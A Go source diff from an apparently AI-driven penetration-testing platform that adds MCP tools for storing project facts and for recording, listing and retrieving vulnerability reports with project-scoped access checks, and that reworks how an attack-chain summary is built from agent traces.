||||
},
|
||||
}
|
||||
mcpServer.RegisterTool(getTool, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||
projectID, err := projectIDFromConversation(db, ctx)
|
||||
if err != nil {
|
||||
return textResult("错误: "+err.Error(), true), nil
|
||||
}
|
||||
key := strings.TrimSpace(strArg(args, "fact_key"))
|
||||
if key == "" {
|
||||
return textResult("错误: fact_key 必填", true), nil
|
||||
}
|
||||
f, err := db.GetProjectFactByKey(projectID, key)
|
||||
if err != nil {
|
||||
return textResult("错误: "+err.Error(), true), nil
|
||||
}
|
||||
msg := fmt.Sprintf("fact_key: %s\ncategory: %s\nconfidence: %s\nsummary: %s\nupdated_at: %s",
|
||||
f.FactKey, f.Category, f.Confidence, f.Summary, f.UpdatedAt.Format("2006-01-02 15:04:05"))
|
||||
if f.RelatedVulnerabilityID != "" {
|
||||
msg += fmt.Sprintf("\nrelated_vulnerability_id: %s", f.RelatedVulnerabilityID)
|
||||
}
|
||||
if f.SourceConversationID != "" {
|
||||
msg += fmt.Sprintf("\nsource_conversation_id: %s", f.SourceConversationID)
|
||||
}
|
||||
msg += "\n\n--- body ---\n" + f.Body
|
||||
if warn := project.SparseBodyWarningIfNeeded(f.Category, f.FactKey, f.Body); warn != "" {
|
||||
msg += warn
|
||||
}
|
||||
return textResult(msg, false), nil
|
||||
})
|
||||
|
||||
listTool := mcp.Tool{
|
||||
Name: builtin.ToolListProjectFacts,
|
||||
Description: "列出当前项目的事实(分页)。",
|
||||
ShortDescription: "列出项目事实",
|
||||
InputSchema: map[string]interface{}{
|
||||
"type": "object",
|
||||
"properties": map[string]interface{}{
|
||||
"category": map[string]interface{}{"type": "string"},
|
||||
"confidence": map[string]interface{}{"type": "string"},
|
||||
"limit": map[string]interface{}{"type": "integer"},
|
||||
"offset": map[string]interface{}{"type": "integer"},
|
||||
},
|
||||
},
|
||||
}
|
||||
mcpServer.RegisterTool(listTool, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||
projectID, err := projectIDFromConversation(db, ctx)
|
||||
if err != nil {
|
||||
return textResult("错误: "+err.Error(), true), nil
|
||||
}
|
||||
limit := intArg(args, "limit", 50)
|
||||
offset := intArg(args, "offset", 0)
|
||||
filter := database.ProjectFactListFilter{
|
||||
Category: strArg(args, "category"),
|
||||
Confidence: strArg(args, "confidence"),
|
||||
}
|
||||
list, err := db.ListProjectFacts(projectID, filter, limit, offset)
|
||||
if err != nil {
|
||||
return textResult("错误: "+err.Error(), true), nil
|
||||
}
|
||||
var b strings.Builder
|
||||
b.WriteString(fmt.Sprintf("共 %d 条(limit=%d offset=%d):\n", len(list), limit, offset))
|
||||
for _, f := range list {
|
||||
b.WriteString(fmt.Sprintf("- [%s] %s — %s (%s)\n", f.FactKey, f.Category, f.Summary, f.Confidence))
|
||||
}
|
||||
return textResult(b.String(), false), nil
|
||||
})
|
||||
|
||||
searchTool := mcp.Tool{
|
||||
Name: builtin.ToolSearchProjectFacts,
|
||||
Description: "按关键词搜索项目事实(summary/body/fact_key)。",
|
||||
ShortDescription: "搜索项目事实",
|
||||
InputSchema: map[string]interface{}{
|
||||
"type": "object",
|
||||
"properties": map[string]interface{}{
|
||||
"query": map[string]interface{}{"type": "string"},
|
||||
"limit": map[string]interface{}{"type": "integer"},
|
||||
"offset": map[string]interface{}{"type": "integer"},
|
||||
},
|
||||
"required": []string{"query"},
|
||||
},
|
||||
}
|
||||
mcpServer.RegisterTool(searchTool, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||
projectID, err := projectIDFromConversation(db, ctx)
|
||||
if err != nil {
|
||||
return textResult("错误: "+err.Error(), true), nil
|
||||
}
|
||||
q := strings.TrimSpace(strArg(args, "query"))
|
||||
if q == "" {
|
||||
return textResult("错误: query 必填", true), nil
|
||||
}
|
||||
list, err := db.ListProjectFacts(projectID, database.ProjectFactListFilter{Search: q}, intArg(args, "limit", 30), intArg(args, "offset", 0))
|
||||
if err != nil {
|
||||
return textResult("错误: "+err.Error(), true), nil
|
||||
}
|
||||
var b strings.Builder
|
||||
b.WriteString(fmt.Sprintf("搜索 \"%s\" 命中 %d 条:\n", q, len(list)))
|
||||
for _, f := range list {
|
||||
b.WriteString(fmt.Sprintf("- [%s] %s — %s\n", f.FactKey, f.Category, f.Summary))
|
||||
}
|
||||
return textResult(b.String(), false), nil
|
||||
})
|
||||
|
||||
deprecateTool := mcp.Tool{
|
||||
Name: builtin.ToolDeprecateProjectFact,
|
||||
Description: "将事实标记为 deprecated,从黑板索引中排除。",
|
||||
ShortDescription: "废弃项目事实",
|
||||
InputSchema: map[string]interface{}{
|
||||
"type": "object",
|
||||
"properties": map[string]interface{}{
|
||||
"fact_key": map[string]interface{}{"type": "string"},
|
||||
},
|
||||
"required": []string{"fact_key"},
|
||||
},
|
||||
}
|
||||
mcpServer.RegisterTool(deprecateTool, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||
projectID, err := projectIDFromConversation(db, ctx)
|
||||
if err != nil {
|
||||
return textResult("错误: "+err.Error(), true), nil
|
||||
}
|
||||
key := strings.TrimSpace(strArg(args, "fact_key"))
|
||||
if err := db.DeprecateProjectFact(projectID, key); err != nil {
|
||||
return textResult("错误: "+err.Error(), true), nil
|
||||
}
|
||||
return textResult("事实已标记为 deprecated: "+key, false), nil
|
||||
})
|
||||
|
||||
restoreTool := mcp.Tool{
|
||||
Name: builtin.ToolRestoreProjectFact,
|
||||
Description: "将已废弃(deprecated)的事实恢复为 tentative 或 confirmed,重新参与黑板索引。",
|
||||
ShortDescription: "恢复已废弃的项目事实",
|
||||
InputSchema: map[string]interface{}{
|
||||
"type": "object",
|
||||
"properties": map[string]interface{}{
|
||||
"fact_key": map[string]interface{}{"type": "string"},
|
||||
"confidence": map[string]interface{}{
|
||||
"type": "string",
|
||||
"description": "恢复后的置信度:tentative(默认)或 confirmed",
|
||||
"enum": []string{"tentative", "confirmed"},
|
||||
},
|
||||
},
|
||||
"required": []string{"fact_key"},
|
||||
},
|
||||
}
|
||||
mcpServer.RegisterTool(restoreTool, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||
projectID, err := projectIDFromConversation(db, ctx)
|
||||
if err != nil {
|
||||
return textResult("错误: "+err.Error(), true), nil
|
||||
}
|
||||
key := strings.TrimSpace(strArg(args, "fact_key"))
|
||||
if key == "" {
|
||||
return textResult("错误: fact_key 必填", true), nil
|
||||
}
|
||||
conf := strArg(args, "confidence")
|
||||
if err := db.RestoreProjectFact(projectID, key, conf); err != nil {
|
||||
return textResult("错误: "+err.Error(), true), nil
|
||||
}
|
||||
if conf == "" {
|
||||
conf = "tentative"
|
||||
}
|
||||
return textResult(fmt.Sprintf("事实已恢复为 %s: %s", conf, key), false), nil
|
||||
})
|
||||
|
||||
if logger != nil {
|
||||
logger.Info("项目黑板 MCP 工具注册成功")
|
||||
}
|
||||
}
|
||||
|
||||
func strArg(args map[string]interface{}, key string) string {
|
||||
if v, ok := args[key].(string); ok {
|
||||
return v
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func boolArg(args map[string]interface{}, key string) bool {
|
||||
if v, ok := args[key].(bool); ok {
|
||||
return v
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func intArg(args map[string]interface{}, key string, def int) int {
|
||||
switch v := args[key].(type) {
|
||||
case float64:
|
||||
return int(v)
|
||||
case int:
|
||||
return v
|
||||
case int64:
|
||||
return int(v)
|
||||
default:
|
||||
return def
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
package app
|
||||
|
||||
import (
|
||||
"cyberstrike-ai/internal/config"
|
||||
"cyberstrike-ai/internal/mcp"
|
||||
"cyberstrike-ai/internal/vision"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
func registerVisionTools(mcpServer *mcp.Server, cfg *config.Config, logger *zap.Logger) {
|
||||
vision.RegisterAnalyzeImageTool(mcpServer, cfg, logger)
|
||||
}
|
||||
@@ -0,0 +1,405 @@
|
||||
package app
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"cyberstrike-ai/internal/agent"
|
||||
"cyberstrike-ai/internal/database"
|
||||
"cyberstrike-ai/internal/mcp"
|
||||
"cyberstrike-ai/internal/mcp/builtin"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
func conversationIDFromToolCtx(ctx context.Context) string {
|
||||
if id := agent.ConversationIDFromContext(ctx); id != "" {
|
||||
return id
|
||||
}
|
||||
return mcp.MCPConversationIDFromContext(ctx)
|
||||
}
|
||||
|
||||
// canAccessVulnerability 校验当前对话是否有权查看该漏洞(默认项目隔离,未绑项目则仅本会话)。
|
||||
func canAccessVulnerability(vuln *database.Vulnerability, convID, projectID string) bool {
|
||||
if vuln == nil || convID == "" {
|
||||
return false
|
||||
}
|
||||
if projectID != "" {
|
||||
if strings.TrimSpace(vuln.ProjectID) == projectID {
|
||||
return true
|
||||
}
|
||||
// 历史记录:写入时尚未绑定 project_id,但属于同一会话
|
||||
if strings.TrimSpace(vuln.ProjectID) == "" && vuln.ConversationID == convID {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
return vuln.ConversationID == convID
|
||||
}
|
||||
|
||||
func buildVulnerabilityListFilter(db *database.DB, ctx context.Context, args map[string]interface{}) (database.VulnerabilityListFilter, string, error) {
|
||||
convID := conversationIDFromToolCtx(ctx)
|
||||
if convID == "" {
|
||||
return database.VulnerabilityListFilter{}, "", fmt.Errorf("无法确定当前对话,请在对话上下文中使用漏洞查询工具")
|
||||
}
|
||||
|
||||
projectID := ""
|
||||
if pid, err := db.GetConversationProjectID(convID); err == nil {
|
||||
projectID = strings.TrimSpace(pid)
|
||||
}
|
||||
|
||||
scope := strings.TrimSpace(strArg(args, "scope"))
|
||||
if scope == "" {
|
||||
if projectID != "" {
|
||||
scope = "project"
|
||||
} else {
|
||||
scope = "conversation"
|
||||
}
|
||||
}
|
||||
|
||||
filter := database.VulnerabilityListFilter{
|
||||
Severity: strings.TrimSpace(strArg(args, "severity")),
|
||||
Status: strings.TrimSpace(strArg(args, "status")),
|
||||
}
|
||||
if q := strings.TrimSpace(strArg(args, "q")); q != "" {
|
||||
filter.Search = q
|
||||
} else {
|
||||
filter.Search = strings.TrimSpace(strArg(args, "search"))
|
||||
}
|
||||
|
||||
var scopeLabel string
|
||||
switch scope {
|
||||
case "project":
|
||||
if projectID == "" {
|
||||
return filter, "", fmt.Errorf("当前对话未绑定项目,无法按项目列出漏洞;请使用 scope=conversation,或先在对话中绑定项目")
|
||||
}
|
||||
filter.ProjectID = projectID
|
||||
scopeLabel = fmt.Sprintf("项目 %s", projectID)
|
||||
case "conversation":
|
||||
filter.ConversationID = convID
|
||||
scopeLabel = fmt.Sprintf("会话 %s", convID)
|
||||
default:
|
||||
return filter, "", fmt.Errorf("scope 仅支持 project 或 conversation,当前值: %s", scope)
|
||||
}
|
||||
return filter, scopeLabel, nil
|
||||
}
|
||||
|
||||
func formatVulnerabilityListItem(v *database.Vulnerability) string {
|
||||
line := fmt.Sprintf("- id=%s | %s | %s | %s", v.ID, v.Severity, v.Status, v.Title)
|
||||
if v.Type != "" {
|
||||
line += fmt.Sprintf(" | type=%s", v.Type)
|
||||
}
|
||||
if v.Target != "" {
|
||||
line += fmt.Sprintf(" | target=%s", truncateRunes(v.Target, 80))
|
||||
}
|
||||
return line
|
||||
}
|
||||
|
||||
func formatVulnerabilityDetail(v *database.Vulnerability) string {
|
||||
var b strings.Builder
|
||||
b.WriteString(fmt.Sprintf("漏洞ID: %s\n", v.ID))
|
||||
b.WriteString(fmt.Sprintf("标题: %s\n", v.Title))
|
||||
b.WriteString(fmt.Sprintf("严重程度: %s\n", v.Severity))
|
||||
b.WriteString(fmt.Sprintf("状态: %s\n", v.Status))
|
||||
if v.Type != "" {
|
||||
b.WriteString(fmt.Sprintf("类型: %s\n", v.Type))
|
||||
}
|
||||
if v.Target != "" {
|
||||
b.WriteString(fmt.Sprintf("目标: %s\n", v.Target))
|
||||
}
|
||||
if v.ProjectID != "" {
|
||||
b.WriteString(fmt.Sprintf("项目ID: %s\n", v.ProjectID))
|
||||
}
|
||||
b.WriteString(fmt.Sprintf("会话ID: %s\n", v.ConversationID))
|
||||
if !v.CreatedAt.IsZero() {
|
||||
b.WriteString(fmt.Sprintf("创建时间: %s\n", v.CreatedAt.Format("2006-01-02 15:04:05")))
|
||||
}
|
||||
if v.Description != "" {
|
||||
b.WriteString("\n--- 描述 ---\n")
|
||||
b.WriteString(v.Description)
|
||||
b.WriteString("\n")
|
||||
}
|
||||
if v.Proof != "" {
|
||||
b.WriteString("\n--- 证明(POC) ---\n")
|
||||
b.WriteString(v.Proof)
|
||||
b.WriteString("\n")
|
||||
}
|
||||
if v.Impact != "" {
|
||||
b.WriteString("\n--- 影响 ---\n")
|
||||
b.WriteString(v.Impact)
|
||||
b.WriteString("\n")
|
||||
}
|
||||
if v.Recommendation != "" {
|
||||
b.WriteString("\n--- 修复建议 ---\n")
|
||||
b.WriteString(v.Recommendation)
|
||||
b.WriteString("\n")
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
|
||||
func truncateRunes(s string, max int) string {
|
||||
r := []rune(s)
|
||||
if len(r) <= max {
|
||||
return s
|
||||
}
|
||||
return string(r[:max]) + "…"
|
||||
}
|
||||
|
||||
// registerVulnerabilityTools 注册漏洞记录与查询 MCP 工具。
|
||||
func registerVulnerabilityTools(mcpServer *mcp.Server, db *database.DB, logger *zap.Logger) {
|
||||
registerRecordVulnerabilityTool(mcpServer, db, logger)
|
||||
registerListVulnerabilitiesTool(mcpServer, db, logger)
|
||||
registerGetVulnerabilityTool(mcpServer, db, logger)
|
||||
if logger != nil {
|
||||
logger.Info("漏洞 MCP 工具注册成功", zap.Strings("tools", []string{
|
||||
builtin.ToolRecordVulnerability,
|
||||
builtin.ToolListVulnerabilities,
|
||||
builtin.ToolGetVulnerability,
|
||||
}))
|
||||
}
|
||||
}
|
||||
|
||||
func registerRecordVulnerabilityTool(mcpServer *mcp.Server, db *database.DB, logger *zap.Logger) {
|
||||
tool := mcp.Tool{
|
||||
Name: builtin.ToolRecordVulnerability,
|
||||
Description: "记录发现的漏洞详情到漏洞管理系统。边渗透边记录:每验证出一条可复现漏洞(含 POC/影响)后立即调用,勿等会话结束。包括标题、描述、严重程度、类型、目标、证明、影响和建议等。记录前可先 list_vulnerabilities 避免重复。",
|
||||
ShortDescription: "记录发现的漏洞详情到漏洞管理系统",
|
||||
InputSchema: map[string]interface{}{
|
||||
"type": "object",
|
||||
"properties": map[string]interface{}{
|
||||
"title": map[string]interface{}{
|
||||
"type": "string",
|
||||
"description": "漏洞标题(必需)",
|
||||
},
|
||||
"description": map[string]interface{}{
|
||||
"type": "string",
|
||||
"description": "漏洞详细描述",
|
||||
},
|
||||
"severity": map[string]interface{}{
|
||||
"type": "string",
|
||||
"description": "漏洞严重程度:critical(严重)、high(高)、medium(中)、low(低)、info(信息)",
|
||||
"enum": []string{"critical", "high", "medium", "low", "info"},
|
||||
},
|
||||
"vulnerability_type": map[string]interface{}{
|
||||
"type": "string",
|
||||
"description": "漏洞类型,如:SQL注入、XSS、CSRF、命令注入等",
|
||||
},
|
||||
"target": map[string]interface{}{
|
||||
"type": "string",
|
||||
"description": "受影响的目标(URL、IP地址、服务等)",
|
||||
},
|
||||
"proof": map[string]interface{}{
|
||||
"type": "string",
|
||||
"description": "漏洞证明(POC、截图、请求/响应等)",
|
||||
},
|
||||
"impact": map[string]interface{}{
|
||||
"type": "string",
|
||||
"description": "漏洞影响说明",
|
||||
},
|
||||
"recommendation": map[string]interface{}{
|
||||
"type": "string",
|
||||
"description": "修复建议",
|
||||
},
|
||||
},
|
||||
"required": []string{"title", "severity"},
|
||||
},
|
||||
}
|
||||
|
||||
mcpServer.RegisterTool(tool, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||
conversationID := strings.TrimSpace(strArg(args, "conversation_id"))
|
||||
if conversationID == "" {
|
||||
conversationID = conversationIDFromToolCtx(ctx)
|
||||
}
|
||||
if conversationID == "" {
|
||||
return textResult("错误: conversation_id 未设置。这是系统错误,请重试。", true), nil
|
||||
}
|
||||
|
||||
title := strings.TrimSpace(strArg(args, "title"))
|
||||
if title == "" {
|
||||
return textResult("错误: title 参数必需且不能为空", true), nil
|
||||
}
|
||||
|
||||
severity := strings.TrimSpace(strArg(args, "severity"))
|
||||
if severity == "" {
|
||||
return textResult("错误: severity 参数必需且不能为空", true), nil
|
||||
}
|
||||
|
||||
validSeverities := map[string]bool{
|
||||
"critical": true, "high": true, "medium": true, "low": true, "info": true,
|
||||
}
|
||||
if !validSeverities[severity] {
|
||||
return textResult(fmt.Sprintf("错误: severity 必须是 critical、high、medium、low 或 info 之一,当前值: %s", severity), true), nil
|
||||
}
|
||||
|
||||
projectID := ""
|
||||
if pid, perr := db.GetConversationProjectID(conversationID); perr == nil {
|
||||
projectID = strings.TrimSpace(pid)
|
||||
}
|
||||
|
||||
vuln := &database.Vulnerability{
|
||||
ConversationID: conversationID,
|
||||
ProjectID: projectID,
|
||||
Title: title,
|
||||
Description: strArg(args, "description"),
|
||||
Severity: severity,
|
||||
Status: "open",
|
||||
Type: strArg(args, "vulnerability_type"),
|
||||
Target: strArg(args, "target"),
|
||||
Proof: strArg(args, "proof"),
|
||||
Impact: strArg(args, "impact"),
|
||||
Recommendation: strArg(args, "recommendation"),
|
||||
}
|
||||
|
||||
created, err := db.CreateVulnerability(vuln)
|
||||
if err != nil {
|
||||
if logger != nil {
|
||||
logger.Error("记录漏洞失败", zap.Error(err))
|
||||
}
|
||||
return textResult(fmt.Sprintf("记录漏洞失败: %v", err), true), nil
|
||||
}
|
||||
|
||||
if logger != nil {
|
||||
logger.Info("漏洞记录成功",
|
||||
zap.String("id", created.ID),
|
||||
zap.String("title", created.Title),
|
||||
zap.String("severity", created.Severity),
|
||||
zap.String("conversation_id", conversationID),
|
||||
)
|
||||
}
|
||||
|
||||
return textResult(fmt.Sprintf("漏洞已成功记录!\n\n漏洞ID: %s\n标题: %s\n严重程度: %s\n状态: %s\n\n可使用 get_vulnerability(id) 查看详情,或 list_vulnerabilities 查看列表。",
|
||||
created.ID, created.Title, created.Severity, created.Status), false), nil
|
||||
})
|
||||
}
|
||||
|
||||
func registerListVulnerabilitiesTool(mcpServer *mcp.Server, db *database.DB, logger *zap.Logger) {
|
||||
tool := mcp.Tool{
|
||||
Name: builtin.ToolListVulnerabilities,
|
||||
Description: "列出当前授权范围内的漏洞(摘要)。默认:对话已绑定项目时列出该项目下全部漏洞;未绑项目时仅列出当前会话漏洞。可用 scope=conversation 仅看本会话。记录新漏洞前建议先调用以避免重复。",
|
||||
ShortDescription: "列出漏洞(默认当前项目)",
|
||||
InputSchema: map[string]interface{}{
|
||||
"type": "object",
|
||||
"properties": map[string]interface{}{
|
||||
"scope": map[string]interface{}{
|
||||
"type": "string",
|
||||
"description": "范围:project(默认,需绑定项目)| conversation(仅当前会话)",
|
||||
"enum": []string{"project", "conversation"},
|
||||
},
|
||||
"severity": map[string]interface{}{
|
||||
"type": "string",
|
||||
"description": "按严重程度筛选:critical、high、medium、low、info",
|
||||
"enum": []string{"critical", "high", "medium", "low", "info"},
|
||||
},
|
||||
"status": map[string]interface{}{
|
||||
"type": "string",
|
||||
"description": "按状态筛选:open、confirmed、fixed、false_positive",
|
||||
"enum": []string{"open", "confirmed", "fixed", "false_positive"},
|
||||
},
|
||||
"q": map[string]interface{}{
|
||||
"type": "string",
|
||||
"description": "关键词搜索(标题、描述、类型、目标等)",
|
||||
},
|
||||
"limit": map[string]interface{}{
|
||||
"type": "integer",
|
||||
"description": "返回条数上限,默认 30,最大 100",
|
||||
},
|
||||
"offset": map[string]interface{}{
|
||||
"type": "integer",
|
||||
"description": "分页偏移,默认 0",
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
mcpServer.RegisterTool(tool, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||
filter, scopeLabel, err := buildVulnerabilityListFilter(db, ctx, args)
|
||||
if err != nil {
|
||||
return textResult("错误: "+err.Error(), true), nil
|
||||
}
|
||||
|
||||
limit := intArg(args, "limit", 30)
|
||||
if limit <= 0 || limit > 100 {
|
||||
limit = 30
|
||||
}
|
||||
offset := intArg(args, "offset", 0)
|
||||
if offset < 0 {
|
||||
offset = 0
|
||||
}
|
||||
|
||||
total, err := db.CountVulnerabilities(filter)
|
||||
if err != nil {
|
||||
if logger != nil {
|
||||
logger.Warn("统计漏洞失败", zap.Error(err))
|
||||
}
|
||||
total = 0
|
||||
}
|
||||
|
||||
list, err := db.ListVulnerabilities(limit, offset, filter)
|
||||
if err != nil {
|
||||
return textResult("错误: "+err.Error(), true), nil
|
||||
}
|
||||
|
||||
var b strings.Builder
|
||||
b.WriteString(fmt.Sprintf("范围: %s\n总计: %d | 本页: %d 条 (limit=%d offset=%d)\n\n", scopeLabel, total, len(list), limit, offset))
|
||||
if len(list) == 0 {
|
||||
b.WriteString("(暂无漏洞记录)\n")
|
||||
} else {
|
||||
for _, v := range list {
|
||||
b.WriteString(formatVulnerabilityListItem(v))
|
||||
b.WriteString("\n")
|
||||
}
|
||||
if total > offset+len(list) {
|
||||
b.WriteString(fmt.Sprintf("\n(还有更多,可增大 offset 或使用 q/severity/status 筛选)\n"))
|
||||
}
|
||||
}
|
||||
b.WriteString("\n需要 POC 与完整字段请对具体 id 调用 get_vulnerability。")
|
||||
return textResult(b.String(), false), nil
|
||||
})
|
||||
}
|
||||
|
||||
func registerGetVulnerabilityTool(mcpServer *mcp.Server, db *database.DB, logger *zap.Logger) {
|
||||
tool := mcp.Tool{
|
||||
Name: builtin.ToolGetVulnerability,
|
||||
Description: "按漏洞 ID 获取完整详情(含 POC、影响、修复建议)。仅能访问当前项目或当前会话下的漏洞(与 list_vulnerabilities 授权范围一致)。",
|
||||
ShortDescription: "按 ID 获取漏洞详情",
|
||||
InputSchema: map[string]interface{}{
|
||||
"type": "object",
|
||||
"properties": map[string]interface{}{
|
||||
"id": map[string]interface{}{
|
||||
"type": "string",
|
||||
"description": "漏洞 ID(list_vulnerabilities 返回的 id)",
|
||||
},
|
||||
},
|
||||
"required": []string{"id"},
|
||||
},
|
||||
}
|
||||
|
||||
mcpServer.RegisterTool(tool, func(ctx context.Context, args map[string]interface{}) (*mcp.ToolResult, error) {
|
||||
convID := conversationIDFromToolCtx(ctx)
|
||||
if convID == "" {
|
||||
return textResult("错误: 无法确定当前对话,请在对话上下文中使用本工具", true), nil
|
||||
}
|
||||
|
||||
id := strings.TrimSpace(strArg(args, "id"))
|
||||
if id == "" {
|
||||
return textResult("错误: id 必填", true), nil
|
||||
}
|
||||
|
||||
vuln, err := db.GetVulnerability(id)
|
||||
if err != nil {
|
||||
return textResult("错误: 漏洞不存在或查询失败", true), nil
|
||||
}
|
||||
|
||||
projectID := ""
|
||||
if pid, perr := db.GetConversationProjectID(convID); perr == nil {
|
||||
projectID = strings.TrimSpace(pid)
|
||||
}
|
||||
|
||||
if !canAccessVulnerability(vuln, convID, projectID) {
|
||||
return textResult("错误: 无权访问该漏洞(仅可查看当前项目或当前会话下的记录)", true), nil
|
||||
}
|
||||
|
||||
return textResult(formatVulnerabilityDetail(vuln), false), nil
|
||||
})
|
||||
}
|
||||
@@ -82,7 +82,7 @@ func NewBuilder(db *database.DB, openAIConfig *config.OpenAIConfig, logger *zap.
|
||||
}
|
||||
}
|
||||
|
||||
// BuildChainFromConversation 从对话构建攻击链(简化版本:用户输入+最后一轮ReAct输入+大模型输出)
|
||||
// BuildChainFromConversation 从对话构建攻击链(单次 LLM 调用;输入为当前任务轮次的 last_react 轨迹,与继续对话续跑范围一致)。
|
||||
func (b *Builder) BuildChainFromConversation(ctx context.Context, conversationID string) (*Chain, error) {
|
||||
b.logger.Info("开始构建攻击链(简化版本)", zap.String("conversationId", conversationID))
|
||||
|
||||
@@ -157,33 +157,34 @@ func (b *Builder) BuildChainFromConversation(ctx context.Context, conversationID
|
||||
var reactInputFinal string
|
||||
var dataSource string // 记录数据来源
|
||||
|
||||
// 如果成功获取到保存的ReAct数据,直接使用
|
||||
if reactInputJSON != "" && modelOutput != "" {
|
||||
// 计算 ReAct 输入的哈希值,用于追踪
|
||||
hash := sha256.Sum256([]byte(reactInputJSON))
|
||||
reactInputHash := hex.EncodeToString(hash[:])[:16] // 使用前16字符作为短标识
|
||||
// 优先使用落库的代理轨迹(与继续对话 loadHistoryFromAgentTrace 同源),并裁剪为「当前任务轮次」
|
||||
if reactInputJSON != "" {
|
||||
trimmedJSON := agent.ExtractLastUserTurnTraceJSON(reactInputJSON)
|
||||
hash := sha256.Sum256([]byte(trimmedJSON))
|
||||
reactInputHash := hex.EncodeToString(hash[:])[:16]
|
||||
|
||||
// 统计消息数量
|
||||
var messageCount int
|
||||
var tempMessages []interface{}
|
||||
if json.Unmarshal([]byte(reactInputJSON), &tempMessages) == nil {
|
||||
messageCount = len(tempMessages)
|
||||
if msgs, parseErr := agent.ParseTraceMessages(trimmedJSON); parseErr == nil {
|
||||
messageCount = len(msgs)
|
||||
msgs = agent.MergeAssistantTraceOutput(msgs, modelOutput)
|
||||
reactInputFinal = b.formatAgentTraceFromChatMessages(msgs)
|
||||
} else {
|
||||
b.logger.Warn("解析代理轨迹失败,回退原始 JSON 格式化", zap.Error(parseErr))
|
||||
reactInputFinal = b.formatAgentTraceInputFromJSON(trimmedJSON)
|
||||
if strings.TrimSpace(modelOutput) != "" {
|
||||
reactInputFinal += "\n\n## 助手结论(last_react_output)\n\n" + modelOutput
|
||||
}
|
||||
}
|
||||
|
||||
dataSource = "database_last_agent_trace"
|
||||
b.logger.Info("使用保存的ReAct数据构建攻击链",
|
||||
dataSource = "last_user_turn_agent_trace"
|
||||
b.logger.Info("使用当前任务轮次代理轨迹构建攻击链(与续跑上下文范围一致)",
|
||||
zap.String("conversationId", conversationID),
|
||||
zap.String("dataSource", dataSource),
|
||||
zap.Int("reactInputSize", len(reactInputJSON)),
|
||||
zap.Int("traceInputSizeBeforeTrim", len(reactInputJSON)),
|
||||
zap.Int("traceInputSizeAfterTrim", len(trimmedJSON)),
|
||||
zap.Int("messageCount", messageCount),
|
||||
zap.String("reactInputHash", reactInputHash),
|
||||
zap.Int("modelOutputSize", len(modelOutput)))
|
||||
|
||||
// 从保存的ReAct输入(JSON格式)中提取用户输入
|
||||
// userInput = b.extractUserInputFromReActInput(reactInputJSON)
|
||||
|
||||
// 将JSON格式的messages转换为可读格式
|
||||
reactInputFinal = b.formatAgentTraceInputFromJSON(reactInputJSON)
|
||||
} else {
|
||||
// 2. 如果没有保存的ReAct数据,从对话消息构建
|
||||
dataSource = "messages_table"
|
||||
@@ -243,8 +244,15 @@ func (b *Builder) BuildChainFromConversation(ctx context.Context, conversationID
|
||||
}
|
||||
}
|
||||
|
||||
// 3. 构建简化的prompt,一次性传递给大模型
|
||||
prompt := b.buildSimplePrompt(reactInputFinal, modelOutput)
|
||||
// 3. 按 token 预算压缩输入,再构建 prompt(避免超出模型上下文)
|
||||
reactInputFinal, modelOutput, _ = b.fitAttackChainPayload(reactInputFinal, modelOutput)
|
||||
|
||||
// 4. 构建 prompt 并单次调用大模型(助手结论已并入轨迹时不再重复传入)
|
||||
promptAssistantOut := modelOutput
|
||||
if reactInputJSON != "" {
|
||||
promptAssistantOut = ""
|
||||
}
|
||||
prompt := b.buildSimplePrompt(reactInputFinal, promptAssistantOut)
|
||||
// fmt.Println(prompt)
|
||||
// 6. 调用AI生成攻击链(一次性,不做任何处理)
|
||||
chainJSON, err := b.callAIForChainGeneration(ctx, prompt)
|
||||
@@ -301,7 +309,7 @@ func (b *Builder) formatProcessDetailsForAttackChain(details []database.ProcessD
|
||||
// 目标:以主 agent(编排器)视角输出整轮迭代
|
||||
// - 保留:编排器工具调用/结果、对子代理的 task 调度、子代理最终回复(不含推理)
|
||||
// - 丢弃:thinking/planning/progress 等噪声、子代理的工具细节与推理过程
|
||||
if d.EventType == "progress" || d.EventType == "thinking" || d.EventType == "planning" {
|
||||
if d.EventType == "progress" || d.EventType == "thinking" || d.EventType == "reasoning_chain" || d.EventType == "planning" {
|
||||
continue
|
||||
}
|
||||
|
||||
@@ -366,10 +374,17 @@ func (b *Builder) formatProcessDetailsForAttackChain(details []database.ProcessD
|
||||
return strings.TrimSpace(sb.String())
|
||||
}
|
||||
|
||||
// buildAgentTraceInput 构建最后一轮ReAct的输入(历史消息+当前用户输入)
|
||||
// buildAgentTraceInput 构建最后一轮 ReAct 的输入(从最后一条 user 消息起,不含更早轮次)。
|
||||
func (b *Builder) buildAgentTraceInput(messages []database.Message) string {
|
||||
start := 0
|
||||
for i := len(messages) - 1; i >= 0; i-- {
|
||||
if strings.EqualFold(messages[i].Role, "user") {
|
||||
start = i
|
||||
break
|
||||
}
|
||||
}
|
||||
var builder strings.Builder
|
||||
for _, msg := range messages {
|
||||
for _, msg := range messages[start:] {
|
||||
builder.WriteString(fmt.Sprintf("[%s]: %s\n\n", msg.Role, msg.Content))
|
||||
}
|
||||
return builder.String()
|
||||
@@ -396,67 +411,66 @@ func (b *Builder) buildAgentTraceInput(messages []database.Message) string {
|
||||
// return ""
|
||||
// }
|
||||
|
||||
// formatAgentTraceInputFromJSON 将JSON格式的messages数组转换为可读的字符串格式
|
||||
// formatAgentTraceInputFromJSON 将 JSON 轨迹转为可读文本(会先按当前任务轮次裁剪)。
|
||||
func (b *Builder) formatAgentTraceInputFromJSON(reactInputJSON string) string {
|
||||
